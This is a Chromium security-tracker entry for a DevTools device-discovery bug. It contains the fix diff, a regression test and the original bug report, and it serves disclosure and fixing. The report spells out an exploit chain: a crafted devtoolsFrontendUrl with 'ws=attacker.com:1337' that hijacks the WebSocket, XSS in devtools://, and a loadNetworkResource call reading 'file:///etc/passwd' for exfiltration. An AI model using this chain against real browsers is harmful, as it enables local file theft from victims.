Overview

Low
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient policy enforcement in DevTools
DescriptionInsufficient policy enforcement in DevTools
ComponentDevTools
Bug ClassLogic Error
Tracker498292657
Fix commitf0e52607f491 (chromium/src) +149/-17
CISA KEVNot listed
CreditedGoogle
Disclosed2026-05-05

Changed Functions

FunctionChangeNotes
if
chrome/browser/devtools/device/devtools_device_discovery.cc
modified
DiscoveryRequest
chrome/browser/devtools/device/devtools_device_discovery.h
modified
TEST
chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
modified

Files Changed

  • chrome/browser/devtools/device/devtools_device_discovery.cc
  • chrome/browser/devtools/device/devtools_device_discovery.h
  • chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
From f0e52607f4916d593e513df5e89347faa0e12d46 Mon Sep 17 00:00:00 2001
From: Danil Somsikov <[email protected]>
Date: Thu, 02 Apr 2026 05:42:22 -0700
Subject: [PATCH] Make DevTools frontend URL parsing in device discovery more robust    Use `GURL` and `net::QueryIterator` instead of naive string searches. The previous implementation relied on `std::string::find("?ws")`, which was unreliable for complex query strings.     

Bug: 498292657
Change-Id: I29dff479d013461098c1342aa4b2c72896349c35
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7722383
Commit-Queue: Danil Somsikov <[email protected]>
Auto-Submit: Danil Somsikov <[email protected]>
Reviewed-by: Alex Rudenko <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1609136}
---

diff --git a/chrome/browser/devtools/device/devtools_device_discovery.cc b/chrome/browser/devtools/device/devtools_device_discovery.cc
index ea1ad77..8e4b48f 100644
--- a/chrome/browser/devtools/device/devtools_device_discovery.cc
+++ b/chrome/browser/devtools/device/devtools_device_discovery.cc
@@ -26,6 +26,8 @@
 #include "content/public/browser/devtools_agent_host.h"
 #include "content/public/browser/devtools_external_agent_proxy.h"
 #include "content/public/browser/devtools_external_agent_proxy_delegate.h"
+#include "net/base/url_util.h"
+#include "url/gurl.h"
 
 using content::BrowserThread;
 using content::DevToolsAgentHost;
@@ -217,22 +219,6 @@
                             GetStringProperty(value, "id").c_str());
 }
 
-static std::string GetFrontendURLFromValue(const base::DictValue& value,
-                                           const std::string& browser_version) {
-  std::string frontend_url = GetStringProperty(value, "devtoolsFrontendUrl");
-  size_t ws_param = frontend_url.find("?ws");
-  if (ws_param != std::string::npos) {
-    frontend_url = frontend_url.substr(0, ws_param);
-  }
-  if (base::StartsWith(frontend_url, "http:", base::CompareCase::SENSITIVE)) {
-    frontend_url = "https:" + frontend_url.substr(5);
-  }
-  if (!browser_version.empty()) {
-    frontend_url += "?remoteVersion=" + browser_version;
-  }
-  return frontend_url;
-}
-
 static std::string GetTargetPath(const base::DictValue& value) {
   std::string target_path = GetStringProperty(value, "webSocketDebuggerUrl");
 
@@ -287,7 +273,9 @@
       target_path_(target_path),
       remote_type_(type),
       remote_id_(value ? GetStringProperty(*value, "id") : ""),
-      frontend_url_(value ? GetFrontendURLFromValue(*value, browser_version)
+      frontend_url_(value ? DevToolsDeviceDiscovery::GetFrontendURLFromValue(
+                                *value,
+                                browser_version)
                           : ""),
       title_(value ? base::UTF16ToUTF8(base::UnescapeForHTML(
                          base::UTF8ToUTF16(GetStringProperty(*value, "title"))))
@@ -674,6 +662,72 @@
 }
 
 // static
+std::string DevToolsDeviceDiscovery::GetFrontendURLFromValue(
+    const base::DictValue& value,
+    const std::string& browser_version) {
+  const std::string* result = value.FindString("devtoolsFrontendUrl");
+  std::string frontend_url_str = result ? *result : std::string();
+  if (frontend_url_str.empty()) {
+    return std::string();
+  }
+
+  GURL frontend_url;
+  bool is_relative =
+      base::StartsWith(frontend_url_str, "/", base::CompareCase::SENSITIVE);
+  if (is_relative) {
+    frontend_url = GURL("https://dummy.test" + frontend_url_str);
+  } else {
+    frontend_url = GURL(frontend_url_str);
+  }
+
+  if (!frontend_url.is_valid()) {
+    return frontend_url_str;
+  }
+
+  // Convert http to https for absolute URLs.
+  if (!is_relative && frontend_url.SchemeIs(url::kHttpScheme)) {
+    GURL::Replacements replacements;
+    replacements.SetSchemeStr(url::kHttpsScheme);
+    frontend_url = frontend_url.ReplaceComponents(replacements);
+  }
+
+  // Reconstruct the URL without query.
+  GURL::Replacements remove_query;
+  remove_query.ClearQuery();
+  GURL new_url = frontend_url.ReplaceComponents(remove_query);
+
+  // Filter "ws" and add others.
+  net::QueryIterator it(frontend_url);
+  while (!it.IsAtEnd()) {
+    if (it.GetKey() != "ws") {
+      new_url = net::AppendQueryParameter(new_url, it.GetKey(),
+                                          it.GetUnescapedValue());
+    }
+    it.Advance();
+  }
+
+  // Add remoteVersion.
+  if (!browser_version.empty()) {
+    new_url =
+        net::AppendQueryParameter(new_url, "remoteVersion", browser_version);
+  }
+
+  if (is_relative) {
+    std::string path_and_query(new_url.path());
+    if (new_url.has_query()) {
+      path_and_query += "?";
+      path_and_query += new_url.query();
+    }
+    if (new_url.has_ref()) {
+      path_and_query += "#";
+      path_and_query += new_url.ref();
+    }
+    return path_and_query;
+  }
+  return new_url.spec();
+}
+
+// static
 scoped_refptr<content::DevToolsAgentHost>
 DevToolsDeviceDiscovery::CreateBrowserAgentHost(
     scoped_refptr<AndroidDeviceManager::Device> device,
diff --git a/chrome/browser/devtools/device/devtools_device_discovery.h b/chrome/browser/devtools/device/devtools_device_discovery.h
index 178953b..7b8513e 100644
--- a/chrome/browser/devtools/device/devtools_device_discovery.h
+++ b/chrome/browser/devtools/device/devtools_device_discovery.h
@@ -144,6 +144,10 @@
       scoped_refptr<AndroidDeviceManager::Device> device,
       scoped_refptr<RemoteBrowser> browser);
 
+  static std::string GetFrontendURLFromValue(
+      const base::DictValue& value,
+      const std::string& browser_version);
+
  private:
   class DiscoveryRequest;
 
diff --git a/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
new file mode 100644
index 0000000..92de1cf7
--- /dev/null
+++ b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
@@ -0,0 +1,73 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/devtools/device/devtools_device_discovery.h"
+
+#include "base/values.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+TEST(DevToolsDeviceDiscoveryTest, GetFrontendURLFromValue) {
+  struct TestCase {
+    const char* input_url;
+    const char* browser_version;
+    const char* expected_url;
+  } test_cases[] = {
+      // Basic case: no ws parameter.
+      {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?remoteVersion=1.2.3.4"},
+      // ws parameter at the end.
+      {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?ws=127.0.0.1:9222/devtools/page/1",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?remoteVersion=1.2.3.4"},
+      // ws parameter in the middle.
+      {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?a=b&c=d&remoteVersion=1.2.3.4"},
+      // http to https conversion.
+      {"http://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?remoteVersion=1.2.3.4"},
+      // Relative URL with ws.
+      {"/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/1", "1.2.3.4",
+       "/devtools/inspector.html?remoteVersion=1.2.3.4"},
+      // Relative URL with other params.
+      {"/devtools/inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d",
+       "1.2.3.4", "/devtools/inspector.html?a=b&c=d&remoteVersion=1.2.3.4"},
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
new file mode 100644
index 0000000..92de1cf7
--- /dev/null
+++ b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
@@ -0,0 +1,73 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/devtools/device/devtools_device_discovery.h"
+
+#include "base/values.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+TEST(DevToolsDeviceDiscoveryTest, GetFrontendURLFromValue) {
+  struct TestCase {
+    const char* input_url;
+    const char* browser_version;
+    const char* expected_url;
+  } test_cases[] = {
+      // Basic case: no ws parameter.
+      {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?remoteVersion=1.2.3.4"},
+      // ws parameter at the end.
+      {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?ws=127.0.0.1:9222/devtools/page/1",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?remoteVersion=1.2.3.4"},
+      // ws parameter in the middle.
+      {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?a=b&c=d&remoteVersion=1.2.3.4"},
+      // http to https conversion.
+      {"http://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?remoteVersion=1.2.3.4"},
+      // Relative URL with ws.
+      {"/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/1", "1.2.3.4",
+       "/devtools/inspector.html?remoteVersion=1.2.3.4"},
+      // Relative URL with other params.
+      {"/devtools/inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d",
+       "1.2.3.4", "/devtools/inspector.html?a=b&c=d&remoteVersion=1.2.3.4"},
+      // Multiple ws parameters.
+      {"https://example.com/inspector.html?ws=1&ws=2&other=3", "1.2.3.4",
+       "https://example.com/inspector.html?other=3&remoteVersion=1.2.3.4"},
+      // Empty browser version.
+      {"https://example.com/inspector.html?ws=1", "",
+       "https://example.com/inspector.html"},
+      // No query part.
+      {"https://example.com/inspector.html", "",
+       "https://example.com/inspector.html"},
+      // Ref preservation.
+      {"https://example.com/inspector.html?ws=1#ref", "1.2.3.4",
+       "https://example.com/inspector.html?remoteVersion=1.2.3.4#ref"},
+      // Relative URL with ref.
+      {"/inspector.html?ws=1#ref", "1.2.3.4",
+       "/inspector.html?remoteVersion=1.2.3.4#ref"},
+      // Invalid URL (not relative, no scheme).
+      {"invalid_url?ws=1", "1.2.3.4", "invalid_url?ws=1"},
+  };
+
+  for (const auto& test_case : test_cases) {
+    base::DictValue value;
+    value.Set("devtoolsFrontendUrl", test_case.input_url);
+    std::string result = DevToolsDeviceDiscovery::GetFrontendURLFromValue(
+        value, test_case.browser_version);
+    EXPECT_EQ(test_case.expected_url, result)
+        << "For input: " << test_case.input_url;
+  }
+}
diff --git a/chrome/test/BUILD.gn b/chrome/test/BUILD.gn
index 8452511..5d4c79b 100644
--- a/chrome/test/BUILD.gn
+++ b/chrome/test/BUILD.gn
@@ -8225,6 +8225,7 @@
       "../browser/component_updater/soda_language_pack_component_installer_unittest.cc",
       "../browser/component_updater/zxcvbn_data_component_installer_unittest.cc",
       "../browser/devtools/device/android_device_manager_unittest.cc",
+      "../browser/devtools/device/devtools_device_discovery_unittest.cc",
       "../browser/devtools/protocol/cast_handler_unittest.cc",
       "../browser/devtools/serialize_host_descriptions_unittest.cc",
       "../browser/download/download_commands_unittest.cc",
Loading diff…

Original Bug Report

reported by [email protected]

Sandbox escape via DevTools ws parameter filter bypass and arbitrary file read

Project Fortify, an experimental security project, has identified the following potential security issue.

Overview: A logic flaw in DevTools device discovery allows a malicious target to bypass the ws query parameter filter by simply reordering parameters. This allows an attacker to hijack the DevTools frontend WebSocket connection and achieve XSS in the privileged devtools:// origin. From there, the attacker can potentially read arbitrary local files using the unrestricted loadNetworkResource DevTools API.

Affected files:

  • chrome/browser/devtools/device/devtools_device_discovery.cc
  • chrome/browser/devtools/devtools_ui_bindings.cc
  • chrome/browser/ui/webui/devtools/devtools_ui_data_source.cc
  • chrome/browser/ui/webui/devtools/devtools_ui.cc
  • chrome/browser/devtools/devtools_window.cc

Estimated timestamp from git blame: 2023-05-08

Vulnerability Details

When discovering remote devices (e.g., via chrome://inspect#devices), Chrome parses the target’s devtoolsFrontendUrl. To prevent malicious targets from hijacking the DevTools session, Chrome attempts to strip the ws (WebSocket) parameter in GetFrontendURLFromValue (chrome/browser/devtools/device/devtools_device_discovery.cc).

However, the stripping logic uses a naive substring search:

size_t ws_param = frontend_url.find("?ws");
if (ws_param != std::string::npos) {
  frontend_url = frontend_url.substr(0, ws_param);
}

An attacker can bypass this filter by ensuring ws is not the first query parameter. For example, supplying ?can_dock=true&ws=attacker.com causes find("?ws") to fail, retaining the malicious parameter.

Furthermore, if the attacker’s device omits the Browser field in its /json/version response, browser_version evaluates to empty. This prevents Chrome from appending ?remoteVersion= to the URL, keeping the attacker’s crafted query string exactly intact.

When Chrome converts this to a devtools:// URL, it checks it against DevToolsUIBindings::IsValidFrontendURL. This function sanitizes the URL and ensures it matches the original. Because can_dock and ws are both explicitly allowed parameters in SanitizeFrontendQueryParam and SanitizeEndpoint (as long as they don’t contain & or ?), the malicious URL passes validation. Finally, because the devtools:// CSP does not restrict connect-src, the frontend successfully connects to the attacker’s WebSocket.

Potential Exploitation Steps

(Note: These are suggested steps based on code analysis; our tooling agent does not have the ability to run live code to verify a full PoC.)

  1. Attacker Setup: The attacker sets up a malicious TCP target and tricks the victim into adding its IP/port in chrome://inspect#devices.
  2. Version Request: The target responds to Chrome’s /json/version request with a payload omitting the Browser field.
  3. List Request: The target responds to /json/list with a devtoolsFrontendUrl pointing to an old, vulnerable DevTools revision on the Google CDN: https://chrome-devtools-frontend.appspot.com/serve_rev/@<vulnerable_revision>/inspector.html?can_dock=true&ws=attacker.com:1337/devtools/page/fake
  4. Filter Bypass: Chrome fails to strip the ws parameter and generates a valid devtools:// URL. The user clicks “Inspect”.
  5. WebSocket Hijack: The DevTools UI loads the specified vulnerable frontend and connects to attacker.com:1337 via WebSocket.
  6. XSS: The attacker serves a malicious CDP response over the WebSocket that exploits a known XSS flaw in the old frontend revision, gaining JS execution in the devtools:// origin.
  7. Sandbox Escape / File Read: The attacker’s JS executes the following embedder message:
    DevToolsAPI.sendMessageToEmbedder('loadNetworkResource', ['file:///etc/passwd', '', 1], callback);
    
    In DevToolsUIBindings::LoadNetworkResource, requests for file:// URLs are processed by creating a FileURLLoaderFactory with an empty profile_path. On desktop platforms, this grants unrestricted read access to the local filesystem. The file contents are streamed back to the frontend and exfiltrated by the attacker.

Suggested Fix

  1. Robust URL Parsing: Update GetFrontendURLFromValue in devtools_device_discovery.cc to use a proper URL/query parser (like GURL or net::QueryIterator) to securely locate and remove the ws parameter, rather than relying on a naive std::string::find("?ws") search.
  2. Restrict Local File Access: Audit and restrict DevToolsUIBindings::LoadNetworkResource so that the DevTools frontend cannot arbitrarily load file:// URLs using an unrestricted FileURLLoaderFactory, unless the inspected target itself is a file:// URL.
  3. CSP Hardening: Consider tightening the connect-src CSP directive for devtools:// pages to strictly limit where WebSockets can connect.

Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33


Results from so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker